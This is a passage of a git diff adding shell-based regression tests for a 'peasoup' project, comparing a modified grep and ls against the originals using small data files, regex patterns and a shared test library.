+24) Muammar Ghaddafi
+25) Muamar Kaddafi
+26) Muammar Quathafi
+27) Muammar Gheddafi
+28) Muamar Al-Kaddafi
+29) Moammar Khadafy
+30) Moammar Qudhafi
+31) Mu'ammar al-Qaddafi
+32) Mulazim Awwal Mu'ammar Muhammad Abu Minyar al-Qadhafi
diff --git a/peasoup_examples/tests/fgrep/data/khadafy.regexp b/peasoup_examples/tests/fgrep/data/khadafy.regexp
new file mode 100644
index 0000000000000000000000000000000000000000..1d200fc5aedd74d9800d64e5a5869a8203d0e30c
--- /dev/null
+++ b/peasoup_examples/tests/fgrep/data/khadafy.regexp
@@ -0,0 +1,2 @@
+M[ou]'?am+[ae]r .*([AEae]l[- ])?[GKQ]h?[aeu]+([dtz][dhz]?)+af[iy]
+
diff --git a/peasoup_examples/tests/fgrep/data/pattern b/peasoup_examples/tests/fgrep/data/pattern
new file mode 100644
index 0000000000000000000000000000000000000000..281cbcc4f7263cccf39a84ef5c5cf1139d487dcc
--- /dev/null
+++ b/peasoup_examples/tests/fgrep/data/pattern
@@ -0,0 +1 @@
+.*the.*$
diff --git a/peasoup_examples/tests/fgrep/data/pattern2 b/peasoup_examples/tests/fgrep/data/pattern2
new file mode 100644
index 0000000000000000000000000000000000000000..7002fa44e2b8641e52658565b7e871d05faa3ff6
--- /dev/null
+++ b/peasoup_examples/tests/fgrep/data/pattern2
@@ -0,0 +1,3 @@
+.*the.*$
+^(t|T)he.*[Qq]
+(d|D).*(g|G)$
diff --git a/peasoup_examples/tests/fgrep/test_script.sh b/peasoup_examples/tests/fgrep/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a401200c9ded03bb43ac59238fa2a7f0d604d1a4
--- /dev/null
+++ b/peasoup_examples/tests/fgrep/test_script.sh
@@ -0,0 +1,192 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/grep
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=grep
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+# test basic grep functionality
+TMP_LOG=/tmp/tmp.hello.$(whoami)
+ls / | $BENCH tmp >/dev/null 2>&1
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+
+echo "hello" > $TMP_LOG
+$BENCH hello $TMP_LOG
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+$BENCH foobar $TMP_LOG
+if [ $? -eq 0 ]; then
+	report_failure
+fi
+rm $TMP_LOG
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 -i -U -B 1 -A 2 brown $DATA_DIR/data1.txt
+run_basic_test 120 -b fox $DATA_DIR/data1.txt
+run_basic_test 120 --mmap -i fox $DATA_DIR/data1.txt
+run_basic_test 120 --text -vn Fox $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -iw the $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -RTo --line-buffered the $DATA_DIR
+run_basic_test 120 -il pursuit $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 --line-buffered -iL pursuit $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -hR "over.*" $DATA_DIR
+run_basic_test 120 -i "over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -i -q ".*over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -i -s ".*over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 --binary -i -w "over" $DATA_DIR/data1.txt 
+run_basic_test 120 -i --line-number ".*dog.*$" $DATA_DIR/data1.txt 
+run_basic_test 120 -i "^the.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -E "^[a-z,0-9,F-Z]+" $DATA_DIR/data1.txt 
+run_basic_test 120 -w "^[a-zA-Z,0-9].*\[\].*" $DATA_DIR/data1.txt 
+run_basic_test 120 "\\body" $DATA_DIR/data1.txt 
+run_basic_test 120 -U -w -i -c --context=3 "lazy dog" $DATA_DIR/data1.txt 
+run_basic_test 120 -f $DATA_DIR/pattern $DATA_DIR/data1.txt 
+run_basic_test 120 -f $DATA_DIR/pattern $DATA_DIR/data2.txt 
+run_basic_test 120 -i -n -f $DATA_DIR/pattern2 $DATA_DIR/data1.txt 
+run_basic_test 120 -i -n -f $DATA_DIR/pattern2 $DATA_DIR/data2.txt 
+run_basic_test 120 -s --color -ivn "^the.*" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:alnum:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:alpha:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:digit:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:lower:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:space:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:upper:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "\<b...n\>" $DATA_DIR/data1.txt 
+run_basic_test 120 "^\.[0-9]" $DATA_DIR/data1.txt 
+run_basic_test 120 -E '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E '2{2}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E 'h{1}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E 'co{1,2}l' $DATA_DIR/data1.txt 
+run_basic_test 120 -E 'c{3,}' $DATA_DIR/data1.txt 
+run_basic_test 120 -v "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" $DATA_DIR/data1.txt 
+run_basic_test 120 "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" $DATA_DIR/data1.txt 
+run_basic_test 120 --include="dat*" "^\.[0-9]" -R $DATA_DIR
+run_basic_test 120 --include="dat*" --exclude="data2.txt" "^\.[0-9]" -R $DATA_DIR
+run_basic_test 120 -z the $DATA_DIR/data1.txt
+
+cat $DATA_DIR/data1.txt | run_test_prog_only 120  -i FOX
+cat $DATA_DIR/data1.txt | run_bench_prog_only 120  -i FOX
+compare_std_results
+
+#cat $DATA_DIR/data1.txt | run_test_prog_only 120  "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" 
+#cat $DATA_DIR/data1.txt | run_bench_prog_only 120  "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" 
+#compare_std_results
+
+cat $DATA_DIR/data1.txt | run_test_prog_only 120 -i "^the"
+cat $DATA_DIR/data1.txt | run_bench_prog_only 120 -i "^the"
+compare_std_results
+
+run_basic_test 120 -m10 -E -f $DATA_DIR/khadafy.regexp $DATA_DIR/khadafy.lines
+
+printf 'foo\nbar\n' | run_test_prog_only 120 -z -q 'foo[[:space:]]\+bar'
+printf 'foo\nbar\n' | run_bench_prog_only 120 -z -q 'foo[[:space:]]\+bar'
+compare_std_results
+
+#
+# From regression tests shipped with grep
+#
+# checking for a palindrome
+echo "radar" | run_test_prog_only 120 -e '\(.\)\(.\).\2\1' 
+echo "radar" | run_bench_prog_only 120 -e '\(.\)\(.\).\2\1'
+compare_std_results
+
+
+# backref are local should be error
+echo "123" | run_test_prog_only 120 -e 'a\(.\)' -e 'b\1'
+echo "123" | run_bench_prog_only 120 -e 'a\(.\)' -e 'b\1'
+compare_std_results
+
+# Pattern should fail
+echo "123" | run_test_prog_only 120 -e '[' -e ']'
+echo "123" | run_bench_prog_only 120 -e '[' -e ']' 
+compare_std_results
+
+# checking for -E extended regex
+echo "abababccccccd" | run_test_prog_only 120 -E -e 'c{3}'
+echo "abababccccccd" | run_bench_prog_only 120 -E -e 'c{3}'
+compare_std_results
+
+# checking for basic regex
+echo "abababccccccd" | run_test_prog_only 120 -G -e 'c\{3\}'
+echo "abababccccccd" | run_bench_prog_only 120 -G -e 'c\{3\}'
+compare_std_results
+
+# checking for fixed string
+echo "abababccccccd" | run_test_prog_only 120 -F -e 'c\{3\}'
+echo "abababccccccd" | run_bench_prog_only 120 -F -e 'c\{3\}'
+compare_std_results
+
+echo | run_test_prog_only 120 -P '\s*$'
+echo | run_bench_prog_only 120 -P '\s*$'
+compare_std_results
+
+# should return 1 found no match
+echo "abcd" | run_test_prog_only 120 -E -e 'zbc'
+echo "abcd" | run_bench_prog_only 120 -E -e 'zbc'
+compare_std_results
+
+
+# the filename MMMMMMMM.MMM should not exist hopefully
+if test -r MMMMMMMM.MMM; then
+    echo "Please remove MMMMMMMM.MMM to run check"
+else
+        # should return 2 file not found
+#	run_basic_test 120 -E -e 'abc' MMMMMMMM.MMM 
+ 
+        # should return 2 file not found
+#    run_basic_test 120 -E -s -e 'abc' MMMMMMMM.MMM
+ 
+#	echo "ppp"
+        # should return 2 file not found
+#    echo "abcd" | run_test_prog_only 120 -E -s 'abc' - MMMMMMMM.MMM 
+#    echo "abcd" | run_bench_prog_only 120 -E -s 'abc' - MMMMMMMM.MMM 
+#    compare_std_results
+
+        # should return 0 found a match
+    echo "abcd" | run_test_prog_only 120 -E -q -s 'abc' MMMMMMMM.MMM 
+	echo "abcd" | run_bench_prog_only 120 -E -q -s 'abc' MMMMMMMM.MMM 
+	compare_std_results
+
+     # should still return 0 found a match
+#    echo "abcd" | run_test_prog_only 120 -E -q 'abc' MMMMMMMM.MMM -
+#	echo "abcd" | run_bench_prog_only 120 -E -q 'abc' MMMMMMMM.MMM -
+#	compare_std_results
+
+fi
+
+run_basic_test 120 -E '(T|t)he.*(q|x)uick.*' $DATA_DIR/data1.txt 
+
+
+# hit hard with the `Bond' tests
+# For now, remove the `?' in the last parentheses, so that new glibc can do it.  --Stepan
+echo "civic" | run_test_prog_only 120 -E -e '^(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.).?\9\8\7\6\5\4\3\2\1$'
+echo "civic" | run_bench_prog_only 120 -E -e '^(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.).?\9\8\7\6\5\4\3\2\1$'
+compare_std_results
+
+#
+# BUG -- these don't work
+#
+
+#run_basic_test 120 -E '[a-z]*' $DATA_DIR/data1.txt 
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/grep/data/data1.txt b/peasoup_examples/tests/grep/data/data1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..7857b4a8f31ac0951f68bcf38517ee00787bce61
--- /dev/null
+++ b/peasoup_examples/tests/grep/data/data1.txt
@@ -0,0 +1,17 @@
+<html>
+<body>
+Hello
+The quick brown fox jumps over the lazy dog
+My name is Bond, James Bond
+</body>
+</html>
+.999
+128.27.42.23
+22324143
+341324 3124
+13241234148888
+cool
+col
+cccccccccccc
+91-1234567890
+hello [] 
diff --git a/peasoup_examples/tests/grep/data/data2.txt b/peasoup_examples/tests/grep/data/data2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..9f5b49ab1edd1ebbb99f4df8a4bac32e3b913c1b
--- /dev/null
+++ b/peasoup_examples/tests/grep/data/data2.txt
@@ -0,0 +1,3 @@
+We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness.
+
+That to secure these rights, Governments are instituted among Men, deriving their just powers from the consent of the governed, That whenever any Form of Government becomes destructive of these ends, it is the Right of the People to alter or to abolish it, and to institute new Government, laying its foundation on such principles and organizing its powers in such form, as to them shall seem most likely to effect their Safety and Happiness. Prudence, indeed, will dictate that Governments long established should not be changed for light and transient causes; and accordingly all experience hath shewn, that mankind are more disposed to suffer, while evils are sufferable, than to right themselves by abolishing the forms to which they are accustomed. But when a long train of abuses and usurpations, pursuing invariably the same Object evinces a design to reduce them under absolute Despotism, it is their right, it is their duty, to throw off such Government, and to provide new Guards for their future security.
diff --git a/peasoup_examples/tests/grep/data/khadafy.lines b/peasoup_examples/tests/grep/data/khadafy.lines
new file mode 100644
index 0000000000000000000000000000000000000000..57e21a17948d79b9bbf3bf3d7d840454a2131d54
--- /dev/null
+++ b/peasoup_examples/tests/grep/data/khadafy.lines
@@ -0,0 +1,32 @@
+1)  Muammar Qaddafi
+2)  Mo'ammar Gadhafi
+3)  Muammar Kaddafi
+4)  Muammar Qadhafi
+5)  Moammar El Kadhafi
+6)  Muammar Gadafi
+7)  Mu'ammar al-Qadafi
+8)  Moamer El Kazzafi
+9)  Moamar al-Gaddafi
+10) Mu'ammar Al Qathafi
+11) Muammar Al Qathafi
+12) Mo'ammar el-Gadhafi
+13) Moamar El Kadhafi
+14) Muammar al-Qadhafi
+15) Mu'ammar al-Qadhdhafi
+16) Mu'ammar Qadafi
+17) Moamar Gaddafi
+18) Mu'ammar Qadhdhafi
+19) Muammar Khaddafi
+20) Muammar al-Khaddafi
+21) Mu'amar al-Kadafi
+22) Muammar Ghaddafy
+23) Muammar Ghadafi
+24) Muammar Ghaddafi
+25) Muamar Kaddafi
+26) Muammar Quathafi
+27) Muammar Gheddafi
+28) Muamar Al-Kaddafi
+29) Moammar Khadafy
+30) Moammar Qudhafi
+31) Mu'ammar al-Qaddafi
+32) Mulazim Awwal Mu'ammar Muhammad Abu Minyar al-Qadhafi
diff --git a/peasoup_examples/tests/grep/data/khadafy.regexp b/peasoup_examples/tests/grep/data/khadafy.regexp
new file mode 100644
index 0000000000000000000000000000000000000000..1d200fc5aedd74d9800d64e5a5869a8203d0e30c
--- /dev/null
+++ b/peasoup_examples/tests/grep/data/khadafy.regexp
@@ -0,0 +1,2 @@
+M[ou]'?am+[ae]r .*([AEae]l[- ])?[GKQ]h?[aeu]+([dtz][dhz]?)+af[iy]
+
diff --git a/peasoup_examples/tests/grep/data/pattern b/peasoup_examples/tests/grep/data/pattern
new file mode 100644
index 0000000000000000000000000000000000000000..281cbcc4f7263cccf39a84ef5c5cf1139d487dcc
--- /dev/null
+++ b/peasoup_examples/tests/grep/data/pattern
@@ -0,0 +1 @@
+.*the.*$
diff --git a/peasoup_examples/tests/grep/data/pattern2 b/peasoup_examples/tests/grep/data/pattern2
new file mode 100644
index 0000000000000000000000000000000000000000..7002fa44e2b8641e52658565b7e871d05faa3ff6
--- /dev/null
+++ b/peasoup_examples/tests/grep/data/pattern2
@@ -0,0 +1,3 @@
+.*the.*$
+^(t|T)he.*[Qq]
+(d|D).*(g|G)$
diff --git a/peasoup_examples/tests/grep/test_script.sh b/peasoup_examples/tests/grep/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f12d37246ce28c2f604e16c2f554b924386fdb5f
--- /dev/null
+++ b/peasoup_examples/tests/grep/test_script.sh
@@ -0,0 +1,170 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/grep
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=grep
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+
+# test basic grep functionality
+TMP_LOG=/tmp/tmp.hello.$(whoami)
+ls / | $BENCH tmp >/dev/null 2>&1
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+echo "hello" > $TMP_LOG
+$BENCH hello $TMP_LOG
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+$BENCH foobar $TMP_LOG
+if [ $? -eq 0 ]; then
+	report_failure
+fi
+rm $TMP_LOG
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 -i -U -B 1 -A 2 brown $DATA_DIR/data1.txt
+run_basic_test 120 -b fox $DATA_DIR/data1.txt
+run_basic_test 120 --mmap -i fox $DATA_DIR/data1.txt
+run_basic_test 120 --text -vn Fox $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -iw the $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -RTo --line-buffered the $DATA_DIR
+run_basic_test 120 -il pursuit $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 --line-buffered -iL pursuit $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -hR "over.*" $DATA_DIR
+run_basic_test 120 -i "over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -i -q ".*over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -i -s ".*over.*" $DATA_DIR/data1.txt 
+run_basic_test 120 --binary -i -w "over" $DATA_DIR/data1.txt 
+run_basic_test 120 -i --line-number ".*dog.*$" $DATA_DIR/data1.txt 
+run_basic_test 120 -i "^the.*" $DATA_DIR/data1.txt 
+run_basic_test 120 -E "^[a-z,0-9,F-Z]+" $DATA_DIR/data1.txt 
+run_basic_test 120 -w "^[a-zA-Z,0-9].*\[\].*" $DATA_DIR/data1.txt 
+run_basic_test 120 "\\body" $DATA_DIR/data1.txt 
+run_basic_test 120 -U -w -i -c --context=3 "lazy dog" $DATA_DIR/data1.txt 
+run_basic_test 120 -f $DATA_DIR/pattern $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -i -n -f $DATA_DIR/pattern2 $DATA_DIR/data1.txt $DATA_DIR/data2.txt
+run_basic_test 120 -s --color -ivn "^the.*" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:alnum:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:alpha:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:digit:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:lower:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:space:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "[:upper:]" $DATA_DIR/data1.txt 
+run_basic_test 120 "\<b...n\>" $DATA_DIR/data1.txt 
+run_basic_test 120 "^\.[0-9]" $DATA_DIR/data1.txt 
+run_basic_test 120 -E '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E '2{2}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E 'h{1}' $DATA_DIR/data1.txt 
+run_basic_test 120 -E 'co{1,2}l' $DATA_DIR/data1.txt 
+run_basic_test 120 -v "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" $DATA_DIR/data1.txt 
+run_basic_test 120 "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" $DATA_DIR/data1.txt 
+run_basic_test 120 --include="dat*" "^\.[0-9]" -R $DATA_DIR
+run_basic_test 120 --include="dat*" --exclude="data2.txt" "^\.[0-9]" -R $DATA_DIR
+run_basic_test 120 -z the $DATA_DIR/data1.txt
+
+cat $DATA_DIR/data1.txt | run_test_prog_only 120  -i FOX
+cat $DATA_DIR/data1.txt | run_bench_prog_only 120  -i FOX
+compare_std_results
+
+#cat $DATA_DIR/data1.txt | run_test_prog_only 120  "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" 
+#cat $DATA_DIR/data1.txt | run_bench_prog_only 120  "[[:digit:]]\{2\}[ -]\?[[:digit:]]\{10\}" 
+#compare_std_results
+
+cat $DATA_DIR/data1.txt | run_test_prog_only 120 -i "^the"
+cat $DATA_DIR/data1.txt | run_bench_prog_only 120 -i "^the"
+compare_std_results
+
+run_basic_test 120 -m10 -E -f $DATA_DIR/khadafy.regexp $DATA_DIR/khadafy.lines
+
+printf 'foo\nbar\n' | run_test_prog_only 120 -z -q 'foo[[:space:]]\+bar'
+printf 'foo\nbar\n' | run_bench_prog_only 120 -z -q 'foo[[:space:]]\+bar'
+compare_std_results
+
+# figure out failing tests
+# checking for -E extended regex
+echo "abababccccccd" | run_test_prog_only 120 -E -e 'c{3}'
+echo "abababccccccd" | run_bench_prog_only 120 -E -e 'c{3}'
+compare_std_results
+
+#
+# From regression tests shipped with grep
+#
+# checking for a palindrome
+echo "radar" | run_test_prog_only 120 -e '\(.\)\(.\).\2\1' 
+echo "radar" | run_bench_prog_only 120 -e '\(.\)\(.\).\2\1'
+compare_std_results
+
+# backref are local should be error
+echo "123" | run_test_prog_only 120 -e 'a\(.\)' -e 'b\1'
+echo "123" | run_bench_prog_only 120 -e 'a\(.\)' -e 'b\1'
+compare_std_results
+
+# Pattern should fail
+echo "123" | run_test_prog_only 120 -e '[' -e ']'
+echo "123" | run_bench_prog_only 120 -e '[' -e ']' 
+compare_std_results
+
+
+# checking for basic regex
+echo "abababccccccd" | run_test_prog_only 120 -G -e 'c\{3\}'
+echo "abababccccccd" | run_bench_prog_only 120 -G -e 'c\{3\}'
+compare_std_results
+
+# checking for fixed string
+echo "abababccccccd" | run_test_prog_only 120 -F -e 'c\{3\}'
+echo "abababccccccd" | run_bench_prog_only 120 -F -e 'c\{3\}'
+compare_std_results
+
+echo | run_test_prog_only 120 -P '\s*$'
+echo | run_bench_prog_only 120 -P '\s*$'
+compare_std_results
+
+# should return 1 found no match
+echo "abcd" | run_test_prog_only 120 -E -e 'zbc'
+echo "abcd" | run_bench_prog_only 120 -E -e 'zbc'
+compare_std_results
+
+# should return 0 found a match
+echo "abcd" | run_test_prog_only 120 -E -q -s 'abc' MMMMMMMM.MMM 
+echo "abcd" | run_bench_prog_only 120 -E -q -s 'abc' MMMMMMMM.MMM 
+compare_std_results
+
+run_basic_test 120 -E '(T|t)he.*(q|x)uick.*' $DATA_DIR/data1.txt 
+
+# hit hard with the `Bond' tests
+# For now, remove the `?' in the last parentheses, so that new glibc can do it.  --Stepan
+echo "civic" | run_test_prog_only 120 -E -e '^(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.).?\9\8\7\6\5\4\3\2\1$'
+echo "civic" | run_bench_prog_only 120 -E -e '^(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.?)(.).?\9\8\7\6\5\4\3\2\1$'
+compare_std_results
+
+# use the - option
+run_test_prog_only 120 --context=5 'quick' - < $DATA_DIR/data1.txt
+run_bench_prog_only 120 --context=5 'quick' - < $DATA_DIR/data1.txt
+compare_std_results
+
+run_test_prog_only 120 -v --context=5 'quick' - < $DATA_DIR/data1.txt
+run_bench_prog_only 120 -v --context=5 'quick' - < $DATA_DIR/data1.txt
+compare_std_results
+
+run_basic_test 120 -E 'c{3,}' $DATA_DIR/data1.txt 
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/ls/data/dir1/dir2/readme b/peasoup_examples/tests/ls/data/dir1/dir2/readme
new file mode 100644
index 0000000000000000000000000000000000000000..8178c76d627cade75005b40711b92f4177bc6cfc
--- /dev/null
+++ b/peasoup_examples/tests/ls/data/dir1/dir2/readme
@@ -0,0 +1 @@
+readme
diff --git a/peasoup_examples/tests/ls/data/dir1/hello2 b/peasoup_examples/tests/ls/data/dir1/hello2
new file mode 100644
index 0000000000000000000000000000000000000000..14be0d41c639d701e0fe23e835b5fe9524b4459d
--- /dev/null
+++ b/peasoup_examples/tests/ls/data/dir1/hello2
@@ -0,0 +1 @@
+hello2
diff --git a/peasoup_examples/tests/ls/data/dir1/yo2.xls b/peasoup_examples/tests/ls/data/dir1/yo2.xls
new file mode 100644
index 0000000000000000000000000000000000000000..55a3a19164a73fb7b11117bebdc9ccdb203bd988
--- /dev/null
+++ b/peasoup_examples/tests/ls/data/dir1/yo2.xls
@@ -0,0 +1 @@
+23,34,45
diff --git a/peasoup_examples/tests/ls/data/hello1 b/peasoup_examples/tests/ls/data/hello1
new file mode 100644
index 0000000000000000000000000000000000000000..15b8f2a8ffc8a7789b65fdcf2505f23ea9e4dde0
--- /dev/null
+++ b/peasoup_examples/tests/ls/data/hello1
@@ -0,0 +1 @@
+hello1
diff --git a/peasoup_examples/tests/ls/data/yo.txt b/peasoup_examples/tests/ls/data/yo.txt
new file mode 100644
index 0000000000000000000000000000000000000000..f2d0f0d5c45102b9d2947c0edf358eb1487a1469
--- /dev/null
+++ b/peasoup_examples/tests/ls/data/yo.txt
@@ -0,0 +1 @@
+yo yo yo
diff --git a/peasoup_examples/tests/ls/test_script.sh b/peasoup_examples/tests/ls/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..294a7dc060900e7d317631a3598526ccf9c70e01
--- /dev/null
+++ b/peasoup_examples/tests/ls/test_script.sh
@@ -0,0 +1,55 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/ls
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=ls
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+
+# sanity check
+$BENCH / | grep tmp >/dev/null 2>&1
+if [ ! $? -eq 0 ]; then
+	report_failure 
+fi
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 $DATA_DIR
+run_basic_test 120 $DATA_DIR/not-exist
+run_basic_test 120 -a $DATA_DIR
+run_basic_test 120 -l $DATA_DIR
+run_basic_test 120 -ltr $DATA_DIR
+run_basic_test 120 -ltrR $DATA_DIR
+run_basic_test 120 -ha $DATA_DIR
+run_basic_test 120 -Z $DATA_DIR
+run_basic_test 120 -Rd $DATA_DIR
+run_basic_test 120 -Rlg $DATA_DIR
+run_basic_test 120 -lC -s $DATA_DIR
+run_basic_test 120 -C --color=always $DATA_DIR
+run_basic_test 120 -F $DATA_DIR
+run_basic_test 120 -Fg $DATA_DIR
+run_basic_test 120 -ha --si $DATA_DIR
+run_basic_test 120 -ha --si -i $DATA_DIR
+run_basic_test 120 -lt --time-style=full-iso $DATA_DIR
+run_basic_test 120 -lt --time-style=long-iso $DATA_DIR
+run_basic_test 120 -lt --time-style=iso $DATA_DIR
+run_basic_test 120 -lt --tabsize=4 --time-style=iso $DATA_DIR
+run_basic_test 120 -ltZ $DATA_DIR
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/manual_test_lib.sh b/peasoup_examples/tests/manual_test_lib.sh
new file mode 100755
index 0000000000000000000000000000000000000000..9c07c7fdcae18359fd028aa8fe8c1008d3c76021
--- /dev/null
+++ b/peasoup_examples/tests/manual_test_lib.sh
@@ -0,0 +1,452 @@
+#!/bin/bash
+
+#Register to the "lop level shell" so I can kill it if 
+#a subshell is spawned and attempts to exit. 
+export TOP_PID=$$
+#exit 1 if a termination signal is given. 
+trap "exit 1" TERM
+
+IGNORE_RESULTS=
+
+while getopts “i” OPTION
+do
+     case $OPTION in
+         h)
+             usage
+             exit 1
+             ;;
+         i)
+             IGNORE_RESULTS=1
+             ;;
+         ?)
+			 usage
+             exit
+             ;;
+     esac
+done
+
+shift $(( OPTIND-1 ))
+
+if [[ ! -z "$IGNORE_RESULTS" ]]; then
+	echo "TEST SCRIPT COVERAGE RUN: running test script ignoring results."
+fi
+
+TEST_PROG=$(realpath $1)
+BENCH=$(realpath $2)
+
+DUMMY_NAME=DUMMY
+TEST_BASE=`basename $TEST_PROG`
+BENCH_BASE=`basename $BENCH`
+SCRATCH_DIR="$(dirname $BENCH)"
+
+TEST_PROG_ORIG=$SCRATCH_DIR/$TEST_BASE.orig
+BENCH_ORIG=$SCRATCH_DIR/$BENCH_BASE.xform
+CANONICAL=$SCRATCH_DIR/$TEST_BASE
+
+cp $TEST_PROG $TEST_PROG_ORIG
+cp $BENCH $BENCH_ORIG
+
+if [ ! -z "$TEST_VERBOSE" ]; then
+	echo
+	echo "Original program : $TEST_PROG --> $TEST_PROG_ORIG"
+	echo "Test program     : $BENCH --> $BENCH_ORIG"
+	echo "Canonical program: $CANONICAL"
+	echo
+fi
+
+NAME_REGEX=`echo "($BENCH_BASE\|$TEST_BASE\|$ORIG_NAME\|.peasoup\|.ncexe\|.stratafied)" | sed 's/\./\\\./'`
+
+usage()
+{
+	echo "<script> [-i] <test_prog> <orig_prog>"
+}
+
+cleanup()
+{
+#	echo "empty"
+	rm -rf test_out test_error test_status orig_out orig_error orig_status $CLEANUP_FILES
+}
+
+report_failure()
+{
+	cleanup
+    echo "TEST WRAPPER FAILED"
+		#in case of premature termination, terminate any programs still running
+    # if there is a comment, print it also
+    if [[ "$1" != "" ]]; then
+        echo "FAILURE Message:  $1"
+    fi
+
+	killall a.stratafied 2>/dev/null
+	#ignore the results, and continue. 
+	if [[ ! -z "$IGNORE_RESULTS" ]]; then
+		return
+	fi
+
+	#normally you could call exit directly but if the test script uses 
+	#a loop or something of the sort, a subshell may be spawned.
+	#exit in this case will only kill the subshell. 
+    kill -s TERM $TOP_PID
+}
+
+report_success()
+{
+	cleanup
+    echo "TEST WRAPPER SUCCESS"
+
+    # if there is a comment, print it also
+    if [[ "$1" != "" ]]; then
+        echo "SUCCESS Message:  $1"
+    fi
+
+    exit 0
+}
+
+#$1 is the name of the directory to create, 
